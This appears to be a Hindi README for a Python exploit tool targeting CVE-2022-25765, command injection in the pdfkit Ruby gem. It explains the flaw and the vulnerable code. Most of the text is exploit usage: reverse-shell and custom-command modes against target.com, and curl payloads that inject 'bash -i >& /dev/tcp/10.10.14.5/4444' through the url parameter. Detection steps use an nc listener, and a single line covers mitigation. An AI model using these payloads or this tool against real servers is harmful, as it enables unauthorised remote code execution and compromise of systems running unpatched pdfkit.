
CVE-2022-25765 के लिए पायथन एक्सप्लॉइट, pdfkit में कमांड इंजेक्शन, जो निर्मित URL के माध्यम से रिमोट कोड निष्पादन को सक्षम बनाता है, जिसमें रिवर्स शेल और कस्टम कमांड मोड शामिल हैं।
CVE-2022-25765 एक कमांड इंजेक्शन (Command Injection) कमजोरी है जो pdfkit (Ruby gem) के संस्करणों < 0.8.7.2 को प्रभावित करती है। इस कमजोरी की गंभीरता गंभीर (CRITICAL) है, CVSS 9.8, क्योंकि यह बिना प्रमाणीकरण के रिमोट कमांड निष्पादन की अनुमति देती है।
समस्या यह है कि pdfkit url पैरामीटर को बिना सैनिटाइजेशन के सीधे शेल में भेजता है। लाइब्रेरी आंतरिक रूप से wkhtmltopdf को इस प्रकार के कमांड के साथ निष्पादित करती है:
system("wkhtmltopdf --quiet ... '#{url}' output.pdf")
यदि URL में %20 (URL-एन्कोडेड स्पेस) के बाद बैकटिक ` या $() हो, तो शेल सामग्री को एक कमांड के रूप में व्याख्या करता है और उसे निष्पादित करता है।
CVSS 3.1: 9.8 (गंभीर) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2022-25765 |
| उत्पाद | pdfkit (Ruby gem) |
| प्रभावित संस्करण | 0.0.0 – 0.8.7.2 |
| प्रकार | कमांड इंजेक्शन (CWE-78) |
| प्रमाणीकरण | आवश्यक नहीं |
| CVSS 3.1 | 9.8 गंभीर (CRITICAL) |
| पैच | pdfkit ≥ 0.8.7.2 |
pdfkit में कमजोर कोड (source.rb:44-50):
def command
args = @options.map { |k, v| "--#{k} #{v}" }.join(' ')
"wkhtmltopdf #{args} \"#{@source.to_s}\" -"
end
URL को बिना सैनिटाइजेशन के सीधे शेल कमांड में इंटरपोलेट किया जाता है। %20 (स्पेस) शामिल करने पर, स्पेस के बाद की सामग्री wkhtmltopdf के आर्गुमेंट संदर्भ से बाहर निकल जाती है और ` या $() मनमाने कमांड को निष्पादित करने की अनुमति देता है।
मूल एक्सप्लॉइट यहाँ उपलब्ध है:
requests, urllib3pip install -r requirements.txt
# कस्टम कमांड मोड (पेलोड उत्पन्न करता है)
python3 exploit-CVE-2022-25765.py -c "whoami"
# रिवर्स शेल मोड (पेलोड उत्पन्न करता है)
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444
# वेब मोड — कमांड सीधे कमजोर साइट पर भेजें
python3 exploit-CVE-2022-25765.py -c "id" -w http://target.com/ -p url
# वेब मोड — कमजोर साइट पर सीधी रिवर्स शेल
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444 -w http://target.com/ -p url
# सहायता
python3 exploit-CVE-2022-25765.py -h
| पैरामीटर | विवरण |
|---|---|
-c | कस्टम कमांड |
-s <IP> <PORT> | रिवर्स शेल मोड |
-w <URL> | कमजोर वेबसाइट का URL (वैकल्पिक) |
-p <param> | POST पैरामीटर (वैकल्पिक, डिफॉल्ट: url) |
-h | सहायता |
# curl के माध्यम से इंजेक्शन
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\`bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\`"
# या बैकटिक के बजाय $() का उपयोग करके
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')"
# सरल कमांड
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\`id\`"
यह पहचानने के लिए कि कोई सर्वर कमजोर है या नहीं:
Creator: pdfkit v0.8.6# URL भेजें और कॉलबैक प्राप्त करें
curl -X POST http://target.com/ -d "url=http://TU_IP:4444/test"
# Listener: nc -lnvp 4444
# यदि आपको User-Agent: wkhtmltopdf के साथ अनुरोध प्राप्त होता है, तो ऐप PDF रूपांतरण कर रहा है
# PDF मेटाडेटा में संस्करण सत्यापित करें
curl -s http://target.com/ -X POST --data-urlencode "url=http://example.com" -o output.pdf
pdfinfo output.pdf | grep Creator
# खोजें: "Generated by pdfkit v0.8.6" (कमजोर)
url पैरामीटर को सैनिटाइज़ करें ताकि खतरनाक वर्ण (\``, $(), %20`) हटा दिए जाएँ